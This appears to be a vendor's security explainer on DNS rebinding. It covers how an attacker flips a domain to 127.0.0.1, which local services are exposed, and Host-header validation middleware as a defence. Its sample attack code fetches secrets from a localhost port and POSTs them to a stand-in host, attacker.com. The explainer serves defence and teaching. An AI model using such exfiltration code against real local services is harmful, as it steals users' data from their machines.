TL;DR
DNS rebinding tricks browsers into treating a malicious site and your local service as the same origin. The attacker's domain first resolves to their server; after the page loads, they flip the DNS record to 127.0.0.1. Now the browser's same-origin check passes, and the attacker's JavaScript can reach your local services. Host header validation stops it.
How DNS Rebinding Works
- Attacker controls evil.com, initially resolving to 1.2.3.4 (their server)
- Victim visits evil.com; the browser loads the attacker's JavaScript
- Attacker flips the DNS record: evil.com now resolves to 127.0.0.1
- JavaScript makes a request to evil.com (which the OS now routes to localhost)
- Browser thinks it's the same origin and allows it
- Attacker's script reads whatever is running on that local port
// Initial: evil.com -> 1.2.3.4 (attacker's server)
// Victim visits https://evil.com
// Attacker's JavaScript loads...
// After DNS rebind: evil.com -> 127.0.0.1
fetch('http://evil.com:8080/api/secrets')
// Browser resolves evil.com to 127.0.0.1
// Reaches local development server!
// Same-origin policy doesn't block it
.then(r => r.json())
.then(data => {
// Exfiltrate data to attacker's server
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
Who Is Vulnerable
- Development servers (localhost:3000, etc.)
- IoT devices and smart home hubs
- Database admin tools
- Docker management interfaces
- Any service binding to all interfaces (0.0.0.0)
How to Prevent DNS Rebinding
app.use((req, res, next) => {
const allowedHosts = ['localhost', '127.0.0.1', 'myapp.local'];
const host = req.headers.host?.split(':')[0];
if (!allowedHosts.includes(host)) {
return res.status(403).send('Invalid host');
}
next();
});
Does HTTPS prevent DNS rebinding?
Partially. The attacker cannot get a valid certificate for localhost, so HTTPS services are safer. But HTTP services (common in development) are fully vulnerable.
How does this relate to SSRF?
DNS rebinding is client-side: it abuses the victim's browser to reach local services. SSRF is server-side; the attacker tricks your server into making the request instead. Different threat model, same local-network exposure.
Secure Your Services
Our scanner identifies services vulnerable to DNS rebinding.